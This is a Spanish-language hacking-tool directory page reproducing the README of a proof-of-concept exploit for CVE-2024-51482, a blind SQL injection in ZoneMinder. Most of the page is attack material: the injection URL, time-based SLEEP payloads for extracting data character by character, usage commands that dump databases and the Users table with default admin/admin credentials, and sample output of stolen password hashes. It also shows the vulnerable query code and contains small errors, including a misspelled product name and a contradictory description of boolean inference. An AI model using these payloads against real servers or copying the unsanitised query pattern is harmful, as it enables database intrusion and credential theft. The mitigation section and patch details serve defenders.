Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-51482 — ZenoMinder PoC de Inyección SQL Ciega | Kitploit
Herramientas/GitHubGitHub/bridgeralderson/cve-2024-51482
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder PoC de Inyección SQL Ciega

Ver Repositorio
846hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-51482 - Inyección SQL Ciega en ZoneMinder

Tabla de Contenidos

  • Resumen
  • Detalles de la Vulnerabilidad
  • Análisis Técnico
  • Guía de Explotación
  • Instalación
  • Ejemplos de Uso
  • Mitigación
  • Referencias

Resumen

CVE-2024-51482 es una vulnerabilidad crítica de inyección SQL de tipo booleano ciego descubierta en ZoneMinder, un popular software de videovigilancia CCTV de código abierto. Esta falla afecta las versiones 1.37.* hasta 1.37.64 y permite a atacantes autenticados con bajos privilegios ejecutar comandos SQL arbitrarios en el servidor de base de datos subyacente.

MétricaValor
ID CVECVE-2024-51482
Puntuación CVSS9.9 (Crítico)
Vector de AtaqueRed
Privilegios RequeridosBajo
Interacción del UsuarioNinguna
AlcanceCambiado
ImpactoConfidencialidad, Integridad, Disponibilidad - ALTO
Versión Parcheada1.37.65

Detalles de la Vulnerabilidad

Versiones Afectadas

  • Vulnerables: ZoneMinder v1.37.0 hasta v1.37.64.
  • Parcheadas: ZoneMinder v1.37.65 y posteriores.

Causa Raíz

La vulnerabilidad existe en el archivo web/ajax/event.php dentro de la función removetag. El parámetro tid (ID de Etiqueta) se concatena directamente en una consulta SQL sin la debida sanitización o parametrización.

Código Vulnerable:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

Código Corregido:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Consulta parametrizada

Vector de Ataque

El endpoint vulnerable se puede desencadenar mediante:

root@kitploit:~
http://objetivo/zm/index.php?view=request&request=event&action=removetag&tid=[PUNTO_DE_INYECCIÓN]

Análisis Técnico

¿Por qué Inyección Ciega Basada en Booleano?

El punto de inyección no devuelve resultados de consulta directamente en la respuesta, lo que hace imposibles los ataques tradicionales basados en UNION. En su lugar, debemos inferir información mediante condiciones booleanas o retardos temporales.

  • Enfoque basado en booleano:
    • Condición verdadera → Tiempo de respuesta normal.
    • Condición falsa → Tiempo de respuesta normal.
    • Requiere diferencias observables en el comportamiento de la aplicación.
  • Enfoque basado en tiempo (más fiable):
    • Condición verdadera → Respuesta retardada (SLEEP).
    • Condición falsa → Tiempo de respuesta normal.

Mecanismo de Explotación

Nuestro exploit utiliza extracción basada en tiempo con la función SLEEP():

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

Cuando esta condición se evalúa como verdadera, la base de datos duerme durante 2 segundos, creando un retardo medible en la respuesta HTTP.

Proceso de Extracción de Caracteres

  • Búsqueda Binaria: Para cada posición de carácter, probamos rangos usando ASCII(SUBSTRING()) > MID.
  • Medición de Tiempo: Si la condición es verdadera, se dispara SLEEP.
  • Reconstrucción del Carácter: Construimos la cadena carácter por carácter.

Ejemplo de payload para extraer el carácter en la posición 1:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Guía de Explotación

Prerrequisitos

  • Objetivo ejecutando ZoneMinder 1.37.0 - 1.37.64.
  • Credenciales válidas (por defecto: admin/admin).
  • Acceso de red a la interfaz web de ZoneMinder.

Instalación

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Hacer el script ejecutable
chmod +x CVE-2024-51482.py

# Instalar dependencias requeridas
pip3 install requests

Uso Básico

root@kitploit:~
# Probar si el objetivo es vulnerable
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --test

# Descubrir todas las bases de datos
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --discover

# Listar tablas en una base de datos específica
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --tables zm

# Listar columnas en una tabla específica
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --columns zm Users

# Volcar datos de columnas específicas
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --dump zm Users "Username,Password"

# Volcar tabla de usuarios (por defecto)
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users

# Habilitar salida de depuración para proceso de extracción detallado
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --debug

# Ajustar tiempo de espera para extracción más fiable
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --sleep 3

# Deshabilitar salida coloreada
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users --no-color

Ejemplos de Uso

Ejemplo 1: Prueba de Vulnerabilidad

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: 192.168.1.100
[*] Iniciando sesión como 'admin' en 192.168.1.100...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.058s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!

Ejemplo 2: Enumeración de Bases de Datos

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: <host-objetivo>
[*] Iniciando sesión como 'admin' en <host-objetivo>...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.065s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!
[*] Enumerando bases de datos...
[+] Base de datos encontrada: information_schema
[+] Base de datos encontrada: performance_schema
[+] Base de datos encontrada: zm
[+] Bases de datos encontradas: 
1. information_schema 
2. performance_schema 
3. zm

Ejemplo 3: Volcado de Credenciales de Usuario

root@kitploit:~
$ python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit de Inyección SQL Ciega en ZoneMinder
[*] Objetivo: <host-objetivo>
[*] Iniciando sesión como 'admin' en <host-objetivo>...
[+] Inicio de sesión exitoso
[*] Midiendo tiempo de respuesta base...
[*] Mediana base: 0.062s
[*] Probando vulnerabilidad con sleep de 2s...
[+] ¡El objetivo es vulnerable!
[*] Volcando tabla Users de la base de datos zm...
[*] Enumerando columnas en 'zm.Users'...
[+] Columna encontrada: Id
[+] Columna encontrada: Username
[+] Columna encontrada: Password
[+] Columna encontrada: Language
[+] Columna encontrada: Enabled
[*] Volcando datos de 'zm.Users'...
[+] Fila 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Fila 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Usuarios extraídos: 2 
Usuario: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Habilitado: 1 
Usuario: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Habilitado: 1

Ejemplo 4: Extracción de Datos Personalizada

root@kitploit:~
# Volcar columnas específicas de la tabla Events
python3 CVE-2024-51482.py -i <host-objetivo> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

Cómo Funciona el Exploit

Desglose Paso a Paso

  1. Autenticación: El script primero se autentica en ZoneMinder para obtener una cookie de sesión válida.
  2. Medición Base: Envía 5 solicitudes normales para establecer el tiempo de respuesta promedio.
  3. Confirmación de Vulnerabilidad: Prueba con un payload SLEEP(2) para verificar que la inyección funciona.
  4. Extracción de Caracteres: Para cada posición de carácter, la búsqueda binaria determina el valor ASCII:
    • Consulta: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}.
    • Si condición verdadera → Se dispara SLEEP → Respuesta retardada.
    • Si condición falsa → Respuesta inmediata.
  5. Reconstrucción de Cadena: Los caracteres se concatenan para formar cadenas completas.

Características Clave

  • Algoritmo de Búsqueda Binaria: Extrae caracteres en log₂(95) ≈ 7 solicitudes por carácter.
  • Tiempo Adaptativo: Calibra automáticamente la línea base para una detección precisa.
  • Indicador de Progreso: Muestra el progreso de extracción en tiempo real.
  • Recuperación de Errores: Maneja tiempos de espera de conexión correctamente.
  • Modo Depuración: Muestra la extracción detallada carácter por carácter.

Mitigación

Acciones Inmediatas

  • Actualizar ZoneMinder a la versión 1.37.65 o posterior:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • Si no es posible aplicar el parche, restringir el acceso al script vulnerable:
    root@kitploit:~
    # Configuración de Apache 
    Require ip 192.168.0.0/16
    
  • Implementar el principio de menor privilegio para cuentas de base de datos.
  • Monitorear registros en busca de intentos sospechosos de inyección SQL:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

Recomendaciones a Largo Plazo

  • Utilizar consultas parametrizadas para todas las interacciones con la base de datos.
  • Implementar reglas de Firewall de Aplicaciones Web (WAF).
  • Realizar auditorías de seguridad y pruebas de penetración periódicas.
  • Mantener ZoneMinder y todas sus dependencias actualizadas.

Referencias

  • Aviso de Seguridad de GitHub - GHSA-qm8h-3xvf-m7j3
  • Entrada NVD - CVE-2024-51482
  • Commit del Parche
  • Enriquecimiento CISA
  • Plugin de Tenable Nessus
  • Aviso de Check Point

Aviso Legal

Esta herramienta se proporciona únicamente con fines educativos y de prueba de seguridad. Las pruebas no autorizadas de sistemas informáticos son ilegales. Siempre obtenga la autorización adecuada antes de probar cualquier sistema.

Cadena del Vector CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Descargar herramienta
MétricaValor
Vector de AtaqueRed
Complejidad del AtaqueBaja
Privilegios RequeridosBajo
Interacción del UsuarioNinguna
AlcanceCambiado
ConfidencialidadAlta
IntegridadAlta
DisponibilidadAlta